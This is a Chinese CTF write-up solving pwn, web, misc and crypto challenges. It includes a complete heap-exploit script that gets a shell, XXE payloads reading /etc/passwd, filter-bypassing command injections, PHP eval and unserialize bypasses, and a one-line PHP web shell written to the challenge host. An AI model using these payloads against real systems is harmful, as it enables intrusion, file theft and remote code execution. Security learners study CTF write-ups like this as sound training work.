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0X00 Pwn1
没有检查偏移，有数组越界
sleep有多线程竞争
解题思路：
主要是利用多线程竞争时候的sleep(3)，run后把对应的堆块free掉之后，可以泄露地址。本地远程同时测试得到环境是libc2.27，用ubuntu18.04直接跑测试，然后通过填满tcache来泄露libc，然后通过run来修改fd为free_hook，然后再malloc两次，第二次写free_hook为system地址，再delete直接getshell。
from pwn import *
context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local == 1:
p = process('./pwn1')
elf = ELF('./pwn1')
libc = elf.libc
#p = process(['/lib64/ld-linux-x86-64.so.2', './pwn1', './libc.so.6'])
else:
p = remote("119.61.19.212",8087)
elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so')
def add(index, content):
#p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('content:\n')
p.sendline(content)
def delete(index):
p.recvuntil('3.run\n')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))
def run(index, key):
#p.recvuntil('3.run\n')
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('input key:')
p.sendline(str(key))
sleep(1)
delete(str(index))
for i in xrange(8):
add(i,'A\n')
for i in xrange(7):
delete(6-i)
run(7,0)
p.recvuntil('3.run\n')
leak = u64(p.recvn(6).ljust(8, '\0'))
log.success('leak : ' + hex(leak))
libc_address = leak - 0x3ebca0
system = libc_address + libc.symbols['system']
free_hook = libc_address + libc.symbols['__free_hook']
log.success('system : ' + hex(system))
log.success('free_hook : ' + hex(free_hook))
add(0,'A'*0x10)
add(1,'A'*0x10)
run(0,0)
p.recvuntil('3.run\n')
heap_addr = u64(p.recvn(6).ljust(8, '\0')) - 0x160
log.success('heap_addr : ' + hex(heap_addr))
addr = heap_addr ^ free_hook
run(1,addr)
p.recvuntil('3.run\n')
addr2 = u64(p.recvn(6).ljust(8, '\0'))
log.success('heap_addr2 : ' + hex(addr2))
add(2,'/bin/sh\x00')
add(3,p64(system))
delete(2)
p.interactive()
PWN是CTF赛事中主流题型，主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。相关PWN的学习可到合天网安实验室学习实验——CTF-PWN系列汇总
0x01 Web
1. 小明又被拒绝了
修改XFF：127.0.0.1，admin=1
2. XX?
看到源码，以及题目意思，尝试使用XXE攻击
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
伪协议读取flag.php
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
想了解php中的伪协议的应用及攻击手段研究，可到合天网安实验室学习实验——PHP安全特性之伪协议实验:PHP安全特性之伪协议(合天网安实验室)
3. Ping一下
fuzz之后，可以发现|被过滤，可以使用;代替
发现cat，php会提示警告，使用\分割即可：
%3Bc\at%24%7BIFS%7Din\dex.p\hp，但是源码显示并不完全：
使用tail命令读取最后一行
%3Bta\il%24%7BIFS%7D-1%24%7BIFS%7D/fl\ag
4. PHP
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
echo file_get_contents("./flag.php");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
//print(strlen($code));
if(strlen($code)>27){
die("Too Long.");
}
if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {
die("Not Allowed.");
}
@eval($_GET['code']);
}else{
highlight_file(__FILE__);
}
?>
采用取反的方式，最后url编码
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)
get('GetYourFlag')
0xb80x9a0x8b0xa60x900x8a0x8d0xb90x930x9e0x98
0x换为%
5. API
需要我们post数据上去，试着post一下
发现json_decode，我们试着发送json格式过去
读到了源码：
<?php
if(isset($_POST['filename'])){
$file=json_decode($_POST['filename'], true);
if(json_last_error()){
die("sorry,json_decode error!");
}else{
if(array_key_exists("file",$file)){
if(stristr($file['file'],'f')){
die('sorry!');
}else{
echo file_get_contents($file['file']);
}
}else{
die('sorry,u cannot readfile');
}
}
}else{
echo "Post `filename`,and u give this api array,u can read file";
}
?>
扫描目录，发现存在信息泄露，恢复.DS_Store
尝试读取以上文件：
在这里卡了很久，一直绕不过，想到跳转目录读取
<?php
require_once('hack.php');
echo "Api!wow";
function do_unserialize($value){
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {return false;}
return unserialize($value);
}
$x = new hack();
if(isset($_GET['flag'])) $g = $_GET['flag'];
if (!empty($g)) {
$x = do_unserialize($g);
}
echo $x->readfile();
?>
继续读hack.php
<?php
class hack {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
//fffffaa_not.php
?>
接着构造序列化来读取fffffaa_not.php，得绕过正则，通过+，得到
O:4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}，urldecode后得到:O%3A%2b4%3A%22hack%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A15%3A%22fffffaa_not.php%22%3B%7D
读到源码：
<?php
$text = $_GET['jhh08881111jn'];
$filename = $_GET['file_na'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
if(is_numeric($filename)){
$path="/var/www/html/uploads/".$filename.".php";
}else{
die('error');
}
file_put_contents($path, $text);
?>
使用数组绕过正则，写入一个shell：
http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<?php @eval($_POST["star"]);?>&file_na=1
0x02 Misc
XCTFMisc实战学习课程:XCTFMisc实战(合天网安实验室)
1. 完美的错误
base58，参考：
根据题目意思，位置被换了，试出来数字是放在后边的，解密脚本：
# __***chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
__***chars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789'
__***base = len(__***chars)
def ***encode(v):
""" encode v, which is a string of bytes, to base58.
"""
long_value = int(v.encode("hex_codec"), 16)
result = ''
while long_value >= __***base:
div, mod = divmod(long_value, __***base)
result = __***chars[mod] + result
long_value = div
result = __***chars[long_value] + result
# Bitcoin does a little leading-zero-compression:
# leading 0-bytes in the input become leading-1s
nPad = 0
for c in v:
if c == '\0':
nPad += 1
else:
break
return (__***chars[0] * nPad) + result
def ***decode(v):
""" decode v into a string of len bytes
"""
long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += __***chars.find(c) * (__***base ** i)
result = ''
while long_value >= 256:
div, mod = divmod(long_value, 256)
result = chr(mod) + result
long_value = div
result = chr(long_value) + result
nPad = 0
for c in v:
if c == __***chars[0]:
nPad += 1
else:
break
result = chr(0) * nPad + result
return result
if __name__ == "__main__":
# print ***encode("hello world")
print ***decode("RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX")
2. 撸啊撸
这道题就是提出来的头改一下就行了。
关于magic header怎么找：
http://turingh.github.io/2016/03/07/mach-o%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/
首先是从strings jpg里看到了__mh_execute_header、/usr/lib/libSystem.B.dylib这些都是mac h o的可执行文件格式，然后就去修复它的头，有两种：`0xfeedface`跟`0xfeedfacf`，分别用大小端的方式改了放进ida里看看，然后就是`0xcffaedfe`是对的，其实也可以从后面的`0x07000001`是反的看出来。
修复后看就很简单了，都亦或下1就行了：
3. 脑筋急转弯
参考这篇文章，边学边做的：
https://www.sqlsec.com/2018/01/ctfwav.html
对音频进行分析，提取出一个zip包：
查看内容，发现许多012数字，尝试3进制转化，发现大于128，换思路，之前遇到过类似的题目，寻找能等价代替012字符的数字，想到了short Ook，只有.！？，尝试替换，在线网站：
https://www.splitbrain.org/services/ook
尝试加密一下”flag“，得到，发现大多数为点（.），推测为0，！和？，也尝试一下
尝试0=>. 1=>? 2=>!，发现解密失败
最后得到0=>. 1=>！ 2=>?
brainfuck解密得到flag：
隐写（Stegano）与取证分析（Forensics）是CTF竞赛中的主要题型之一，主要考查参赛选手的对各种隐写工具、隐写算法以及取证分析流程的熟悉程度，相关的练习可到合天网安实验室学习——CTF-STEGO练习课程:CTF-STEGO练习(合天网安实验室)
0x04 Crypto
1. 美好的回忆
类似于CBC加密模式，我们知道部分明文，密文，我们可以将第一块密文，第二块密文和第二块明文异或得到key，然后使用key和某块密文以及前一块密文做异或得到该块明文，代码如下
def xor(data,key):
return bytes([x ^ key[i%len(key)] for i, x in enumerate(data)])
with open('flag.txt.encrypted', 'rb') as f:
s=f.read()
BLOCK_SIZE=8
s1="have a good time".encode()
c1=s[:8]
c2=s[8:16]
c3=s[16:24]
print(c1)
key=xor(xor(c1,s1[8:]),c2)
print(key)
m1=xor(xor(c2,key),c3)
sssssss=""
print(len(s))
for i in range(8,len(s)-8,8):
m1=xor(xor(s[i:i+8],key),s[i+8:i+16])
sssssss=sssssss+m1.decode('utf-8')
print(sssssss)
2. 悲伤的结局
和上一题类似，同样类似于CBC加密模式，但我们知道的是结尾的明文，由于结尾存在填充，我们无法确定那一段明文是一块，尝试验证我们发现填充为4，同时的到key，代码如下
def xor(data,key):
return bytes([x ^ key[i%len(key)] for i, x in enumerate(data)])
with open('flag.txt.encrypted', 'rb') as f:
s=f.read()
BLOCK_SIZE=8
s1="keep away from xiaocui!".encode()
c1=s[-16:-8]
c2=s[-24:-16]
c3=s[-32:-24]
key=[]
for i in range(8):
m1=s1[i+8:i+16]
key.append((xor(xor(c1,m1),c2)))
for i in key:
print(xor(xor(c2,i),c3))
根据填充和key，按照上一题的方法我们即可解出明文
def xor(data,key):
return bytes([x ^ key[i%len(key)] for i, x in enumerate(data)])
with open('flag.txt.encrypted', 'rb') as f:
s=f.read()
BLOCK_SIZE=8
s1="keep away from xiaocui!".encode()
c1=s[-16:-8]
c2=s[-24:-16]
m1=s1[4+8:4+16]
key=(xor(xor(c1,m1),c2))
c3=s[-32:-24]
mm=xor(xor(c2,key),c3)
print(mm)
i=-16
while i>-200:
c2=s[i-8:i]
c3=s[i-16:i-8]
mm=xor(xor(c2,key),c3)
print(mm)
i=i-8
3. RSA
这道题应该是RSA私钥恢复，javars oj上有道很类似的。
看别人写过的wp。直接上是不行的，又几个点不一样，参考链接https://www.40huo.cn/blog/rsa-private-key-recovery-and-oaep.html中的代码，将题目中的数据填入，但我们发现题目中的n结尾不全，由于(a*2^n+b)*(c*2^m+d)=a*c*2^m*2^n+a*d*2^n+c*b*2^m+b*d，所以n的结尾为p*q的结尾“b7"，将b7补入，代码如下
#!/usr/bin/python
#-*- coding:utf-8 -*-
import re
import pickle
from itertools import product
from libnum import invmod, gcd
def solve_linear(a, b, mod):
if a & 1 == 0 or b & 1 == 0:
return None
return (b * invmod(a, mod)) & (mod - 1) # hack for mod = power of 2
def to_n(s):
s = re.sub(r"[^0-9a-f]", "", s)
return int(s, 16)
def msk(s):
cleaned = "".join(map(lambda x: x[-2:], s.split(":")))
return msk_ranges(cleaned), msk_mask(cleaned), msk_val(cleaned)
def msk_ranges(s):
return [range(16) if c == " " else [int(c, 16)] for c in s]
def msk_mask(s):
return int("".join("0" if c == " " else "f" for c in s), 16)
def msk_val(s):
return int("".join("0" if c == " " else c for c in s), 16)
E = 65537
N = to_n("""00:c4:9d:36:a4:77:76:12:12:85:24:6c:74:1d:7d:
b3:ce:f4:c3:a4:69:cd:0b:2e:8f:d6:75:e3:80:b8:
e8:1c:ce:e8:60:90:45:56:73:ab:32:32:00:7f:6a:
76:3e:b6:10:d3:a2:74:da:f9:4e:a5:7e:ae:ef:f4:
da:82:57:6d:68:82:50:d8:b1:fc:92:b1:5c:7d:54:
f5:7e:d0:06:8a:60:ff:82:70:72:20:68:4b:71:ba:
87:44:57:c1:97:a0:8a:2d:53:93:f3:0a:60:87:a3:
85:c8:45:e6:0a:88:85:b5:ff:c7:09:9a:76:03:fe:
99:b6:fb:8a:1e:9f:a8:42:3a:0a:c9:a9:bf:1c:87:
2c:c4:99:10:db:46:e3:a9:a5:79:93:8c:75:71:ec:
c6:3b:af:44:dc:60:c4:53:f6:3c:e8:73:2f:50:10:
38:e7:6f:d0:a5:4b:ae:e3:1e:43:11:42:2c:a2:38:
e6:3f:0b:13:54:63:e8:2f:9e:61:ab:08:65:97:e0:
27:30:19:fd:a7:fe:5c:d8:11:b8:34:87:ad:02:c2:
bc:cd:73:d3:86:be:fd:2a:b4:fe:7d:7e:d3:64:bb:
6f:63:ed:a6:1d:ee:f2:80:da:9d:7a:23:7f:c1:39:
b0:98:0c:85:8f:d0:4b:9f:e4:1a:26:fc:44:d1:67:
03:32:03:0c:91:61:23:4c:81:6f:42:18:88:41:dc:
27:55:a3:07:7c:a1:ad:f3:58:4d:91:07:65:f1:63:
f2:34:d5:17:0e:59:c6:bb:b6:6d:7d:0c:d2:64:4b:
b9:9c:52:59:03:8e:2a:43:23:76:33:c3:e8:72:3b:
1c:e0:40:97:36:5f:ae:00:d7:e3:09:eb:df:55:44:
22:b4:09:00:b5:09:41:70:6c:5c:3b:98:d3:34:7e:
60:a2:b8:93:bd:af:32:77:48:48:8a:a5:9c:0e:6a:
a1:79:36:86:8c:e9:3f:b1:a2:a7:4a:3a:d8:d6:f6:
dd:62:d8:ae:9e:13:bb:0c:6b:b1:65:68:0d:7e:58:
3f:68:1e:91:49:13:19:68:2b:fd:3c:5e:52:fa:76:
b0:57:fc:0e:35:d8:71:56:41:06:ef:50:99:56:dd:
d4:9a:1f:d3:46:26:12:9c:15:4b:43:fc:1b:de:c9:
06:ad:82:56:63:c8:a4:83:32:d2:35:05:23:15:52:
d9:0a:73:85:5e:c9:c2:56:af:69:d2:5f:77:04:28:
c8:4c:b9:a6:d4:15:15:b5:15:99:13:ef:a9:a5:de:
5a:74:b1:03:cf:32:a5:03:69:f8:e9:bb:7e:16:31:
5e:43:e7:02:51:ac:c5:f6:bf:ef:1c:74:f7:13:0c:
19:ad:b7""")
p_ranges, pmask_msk, pmask_val = msk("""00: :05:89: :bd:35: : :23: : : : :84:
: :ed: :70:14: : : :10: : :87: :51:
ea: :97:69: :52: : : : : :ea: : :15:
: :34: :be:11:23: : :34:14: :94: :10:
: :74:87:37:ee:81:62:ee:95: : :dc:49:dd:
: :35: :81: :fa: : : :86: : : :fb:
:93: : :12: :14: :ab:76: :96: : :27:
:21: :04:01:41: :98: :ff: : :12:dc: :
cd: :39:95:30: :47: :fa:ff: :34: :ad: :
:52:02:fa:bc:14:22:22:48:61:62:bd:53: : :
72:08:cb:41:88: : : :63:91:30:fe: : :42:
87: :18:52: :39:dd: :68: :fe:06:88:81: :
: : :ae:fd: : :fb:21:37:59: :53: :fa:
:07:40:eb:33:77:51:64:10:dd: :73: :86:62:
:bf: :79: :34: :bb: :44:ff: :46:fe:90:
ef: :52:ad: : :fe: :69:18:89:bd:cd:09:46:
: :74:71: : : :41:66: : :11: :25: :
39:8b""")
q_ranges, qmask_msk, qmask_val = msk(""" 00:ce:43:ef: :76:58:17:43:31: : :32:70: :
89: : :36:55:06: :79:66:78: : : : : :
:85: : : : : :33:bb: : :56: :66:cb:
:08: : :90:cb: : :24:fa:ca:47: : : :
:88: :83:01: :62: : : : : : :ad:ae:
: : :58: :ec: : : :09:04:86: :05:00:
:df:50:84:81:80: :ae: :24: :94:da: :04:
ce: :ef: : :ed:be:bf:43:78: : :05:93: :
08:52:05: : : : :ae: : : : :ab: : :
:76:ce: : : : :19:bd:22: :ef:dc:bf:ea:
ab:78:01: : :85: : : :ea: : :fb: : :
92:66:19: : :ab: : :82: : :31: : :da:
82: :13:82:43: : :94:13:41: : : :37: :
:04:56:02:87:dd: :58:27: : :24: : : :
28: : :09:14:89: : : :49:59: :16:eb:65:
:01:22: : :dd: :78: : :db:90: :ac: :
:fd: :03:74: : : : :92: :00:ba: : :
:05""")
_, dmask_msk, dmask_val = msk("""11: : :69:62:64: : : : :15: :13:de:de:
cf: : :17: : :75: :98:42:fc: :12:15:08:
: : : : :36: :be:25:48: : :19: : :
:47:11:19: :03: :49:fc:da: :96:45:eb: :
: : :91: :ea: : :55:ff: :37:58: : :
19: : :73:40: :91:15:01:da:91:22:fd:32: :
: :50: : :66: : : :42: : :ef: : :
df:42: :97:30: :39: : : : : : :dc: :
: : : : :38: : : :88:28: :05: : :
78:59:fa: :86: :19:24: : : : :da:cf:15:
39: : : : :ef:55: :ce:47: :58:89: :fb:
:24: : : :92: : :ee: : :db:67:31:ce:
:28: :72:ec:89: :04: : :50: : : : :
:37: :44: : : : :56: :38: :bb:47:bb:
66:83:99:22:07:72: : :48:52:02: : : :29:
:82:56: :67: :95: : :56:94: : :71: :
bf:27:98: : :54:98:26:06:87: :ae: :53:be:
: :80:37:60:61:ea:ef:de: : :df:90:81: :
70: :06:33:26: :75:fe:95: :92: :78:cd:05:
64:cc:68: : :36:54: :bd:16:90:ee:60: : :
: :41: : :91: :79:58:06:50: :46: : :
45: :09:ca:ac:16: :27:98: : :ba:82: :77:
93:98:ad: :15: :67:53:97:ad:ee:50:44: :31:
07: :ff:01: :09: : : : : :46: : :42:
15: :db:df:42:be: : : :78: :41: : : :
:14: : :25:fc: :84: : : : : : :20:
da:46:01:eb:87: :12:57: : :56:af: :87:93:
60: :02: :18:89:63:72:ad: :ed:cf: : :84:
:22: :13: : :dd: :ff: : : :de:62:37:
:19:66: : :86:02: :38: : : : :ec:14:
12: :43:93:19:65:98: : :03: : : :ef: :
: :ca:07:92:22: : :bb:15:eb: : : :35:
:72:29:cd: : :99: : : : :41:06: : :
:43:33: :32: : :54:be:92:62: :78:59:42:
79:89""")
_, dpmask_msk, dpmask_val = msk(""" :39: :28:16:02:89:ce:11:fe: : : : :af:
: : :ed:97: : :11:20:ba:ae:98:ad: : :
:10:87:ac:07: : : : :50: : :70:50:52:
df:89:eb:02: : : : :93:11: : :12: :56:
:08: : :ea: :10:fa:19: : : :54:45:07:
: :bc:ff:33: :db:63:49:fe:52: :33: : :
bf:cd:45:91: :10: : :92:81:40:03: :80: :
29: :30: :ed:43:64:ca: :bf:64: : :bf: :
: : :24:72:84: : :ff: : :24: :81:27:
db:23: :64: :67: :ba: : :bc: : : : :
:ae:88: : : : : :91: : :14: :ba:ef:
:89: : : : : : : : :05: :75:52: :
: : :be:ad:df: :02:88:00: : :15:45: :
cf:32: :ca: :93: :32: :40: :27:dd: :19:
73:dc: : : : : :cf: : :dd: : :ca: :
ee: :ca: : : :49: :27: :58:53: :64:25:
:22:06:16:ff:62:bc: : : : :24:fc: : :
df""")
_, dqmask_msk, dqmask_val = msk("""02: :bd: :19:25:98:75: :65: :55:28:33:bc:
34:84:91:01:96: : :08: :32:45: :27: : :
:fe: :bb:63:32:68: :51:bd:75:40: :52:52:
: : :78:85:fc:94: :07: :14: : : : :
15:dd: : :93: :01: : :77:ca: :40: :da:
:89:bc:87:62:dc:ac:61:88: : :70: :69: :
:36: : :21:08: :dc:73: :ad:da:ee:fe: :
96: :58: : :46: :29:ff:97:ce: : : :cb:
51: : :81: :22: : :19: :10:69:41:36:ca:
:22:49: :cc:cf:06: : :08: :76: : :45:
98: : :45: : : :69:13:65: : :da:54: :
19: :ee:24: :73: : : : : : :18:53:40:
21:25: : :84:52:cd: :49:33:78: : :ed: :
25:27: : : :ca: : : :ca: : :bc: :02:
31:70: :10:ca:84:59: : : :52: :27:76: :
47: :66:bf:ff: :03: :99:ff: :df: : : :
:46:27:45: :65:07: :48:da:dc: :80: : :
f9""")
def search(K, Kp, Kq, check_level, break_step):
max_step = 0
cands = [0]
for step in range(1, break_step + 1):
#print " ", step, "( max =", max_step, ")"
max_step = max(step, max_step)
mod = 1 << (4 * step)
mask = mod - 1
cands_next = []
for p, new_digit in product(cands, p_ranges[-step]):
pval = (new_digit << ((step - 1) * 4)) | p
if check_level >= 1:
qval = solve_linear(pval, N & mask, mod)
if qval is None or not check_val(qval, mask, qmask_msk, qmask_val):
continue
if check_level >= 2:
val = solve_linear(E, 1 + K * (N - pval - qval + 1), mod)
if val is None or not check_val(val, mask, dmask_msk, dmask_val):
continue
if check_level >= 3:
val = solve_linear(E, 1 + Kp * (pval - 1), mod)
if val is None or not check_val(val, mask, dpmask_msk, dpmask_val):
continue
if check_level >= 4:
val = solve_linear(E, 1 + Kq * (qval - 1), mod)
if val is None or not check_val(val, mask, dqmask_msk, dqmask_val):
continue
if pval * qval == N:
print "Kq =", Kq
print "pwned"
print "p =", pval
print "q =", qval
p = pval
q = qval
d = invmod(E, (p - 1) * (q - 1))
coef = invmod(p, q)
from Crypto.PublicKey import RSA
print RSA.construct(map(long, (N, E, d, p, q, coef))).exportKey()
quit()
cands_next.append(pval)
if not cands_next:
return False
cands = cands_next
return True
def check_val(val, mask, mask_msk, mask_val):
test_mask = mask_msk & mask
test_val = mask_val & mask
return val & test_mask == test_val
# K = 4695
# Kp = 15700
# Kq = 5155
for K in range(1, E):
if K % 100 == 0:
print "checking", K
if search(K, 0, 0, check_level=2, break_step=20):
print "K =", K
break
for Kp in range(1, E):
if Kp % 1000 == 0:
print "checking", Kp
if search(K, Kp, 0, check_level=3, break_step=30):
print "Kp =", Kp
break
for Kq in range(1, E):
if Kq % 100 == 0:
print "checking", Kq
if search(K, Kp, Kq, check_level=4, break_step=9999):
print "Kq =", Kq
break
运行程序得到p,q为
p = 30804877236372761296348297513767908130120426767441642194038947059431749919743933282721728129660558520306627781991434638545287122418576024822599938752655436891429241798416041881441469038271460545196755187872022209260074336340748692939443634393492611052850561312058115000234467417922716845989845380178291512893577636848676778152648705150749219629638913963012345388388992649857974643758097581431795569765569985118215469798809551704275008726932734117893757436777110974529289423114881289423038562352073193732977840168067817149865622380253870276206212656648830136975036452877460473463818007722056777837507566352911184181643
q = 26038591288856688238001759665609016744197175469090080494077820415283745172609947555684568450035539489682168553390403854805974969118763740560638548072896648612347287461822059996717273680094814363090434263883250281614203478279438635312321752371517752177819983938115532573238089291708699056464231184039223531822571471611431921747169774540943776543504663419138030516108434288911593973010680364553026970545232818747951718950151516127319881685156986937644295056292836729469548074713781625918117631575942194589642230959265894967721587381648790905383499092379075578245308113268969812469233669312409066969648987454629639842309
我们已有密文，RSA的n,e=65537,p,q，按照RSA解密方法求解即可
import gmpy2
def shuchu(mingwenstr):
if mingwenstr[len(mingwenstr)-1]=='L':
mingwenstr=mingwenstr[2:len(mingwenstr)-1]
else:
mingwenstr=mingwenstr[2:len(mingwenstr)]
if not len(mingwenstr)%2==0:
mingwenstr='0'+mingwenstr
i=len(mingwenstr)
mingwen=""
while i>=1:
str1=mingwenstr[i-2:i]
if int(str1,16)>33 and int(str1,16)<126:
mingwen=chr(int(str1,16))+mingwen
else :
mingwen=" "+mingwen
i=i-2
print mingwen
p = 30804877236372761296348297513767908130120426767441642194038947059431749919743933282721728129660558520306627781991434638545287122418576024822599938752655436891429241798416041881441469038271460545196755187872022209260074336340748692939443634393492611052850561312058115000234467417922716845989845380178291512893577636848676778152648705150749219629638913963012345388388992649857974643758097581431795569765569985118215469798809551704275008726932734117893757436777110974529289423114881289423038562352073193732977840168067817149865622380253870276206212656648830136975036452877460473463818007722056777837507566352911184181643
q = 26038591288856688238001759665609016744197175469090080494077820415283745172609947555684568450035539489682168553390403854805974969118763740560638548072896648612347287461822059996717273680094814363090434263883250281614203478279438635312321752371517752177819983938115532573238089291708699056464231184039223531822571471611431921747169774540943776543504663419138030516108434288911593973010680364553026970545232818747951718950151516127319881685156986937644295056292836729469548074713781625918117631575942194589642230959265894967721587381648790905383499092379075578245308113268969812469233669312409066969648987454629639842309
n=0xc49d36a47776121285246c741d7db3cef4c3a469cd0b2e8fd675e380b8e81ccee86090455673ab3232007f6a763eb610d3a274daf94ea57eaeeff4da82576d688250d8b1fc92b15c7d54f57ed0068a60ff82707220684b71ba874457c197a08a2d5393f30a6087a385c845e60a8885b5ffc7099a7603fe99b6fb8a1e9fa8423a0ac9a9bf1c872cc49910db46e3a9a579938c7571ecc63baf44dc60c453f63ce8732f501038e76fd0a54baee31e4311422ca238e63f0b135463e82f9e61ab086597e0273019fda7fe5cd811b83487ad02c2bccd73d386befd2ab4fe7d7ed364bb6f63eda61deef280da9d7a237fc139b0980c858fd04b9fe41a26fc44d1670332030c9161234c816f42188841dc2755a3077ca1adf3584d910765f163f234d5170e59c6bbb66d7d0cd2644bb99c5259038e2a43237633c3e8723b1ce04097365fae00d7e309ebdf554422b40900***941706c5c3b98d3347e60a2b893bdaf327748488aa59c0e6aa17936868ce93fb1a2a74a3ad8d6f6dd62d8ae9e13bb0c6bb165680d7e583f681e91491319682bfd3c5e52fa76b057fc0e35d871564106ef509956ddd49a1fd34626129c154b43fc1bdec906ad825663c8a48332d23505231552d90a73855ec9c256af69d25f770428c84cb9a6d41515b5159913efa9a5de5a74b103cf32a50369f8e9bb7e16315e43e70251acc5f6bfef1c74f7130c19adb7
assert n==p*q
e=65537
fi=open("flag.txt.en","rb")
miwen=fi.read()
fi.close()
miwenhex=miwen.encode("hex")
miwenint=int(miwenhex,16)
d=gmpy2.invert(e,(p-1)*(q-1))
mingwen=pow(miwenint,d,n)
print len(hex(mingwen)[2:])
print shuchu(hex(mingwen))
4. 老王的秘密
>>> from secretsharing import PlaintextToHexSecretSharer
>>> flags=['1-fddc7d57594928fb74a507ab9cba0b28b92bb6e7b36a9925a105eeddac020e64','3-84f82314003c9690eeacd823b22680ccbe93ac098cabdd0a992c095dde0031cf','5-b0e2e8d2cadc91f8f2f357a42e26aeabaccbfa7731437298ca23d8a4a5424ce4','7-810e7545213971a3c7c2dce3d0998764d0bc1e3b866b15ad0deebaa7abcf64c5','9-b4da0bd03394e4bdfef92f16365e8811d9614f11b99111bcf8a4e68ba79626a2','b-661069e7d491719759a3199be1f65ffb6db92d1b014abb4e33ca7e32f85ee276','d-1f84ab9b467a4ec4de4451ed187987785b567bbdde0126d0722e3335a5307d68','f-9001dc36dd28c5c5dd7333968e7263986f55dd79cd9be286d21f45e46f53c399']
>>> PlaintextToHexSecretSharer.recover_secret(flags[0:8])
'f1ag{25019971af01d63d4ea8ad95da516}'
>>>
声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！
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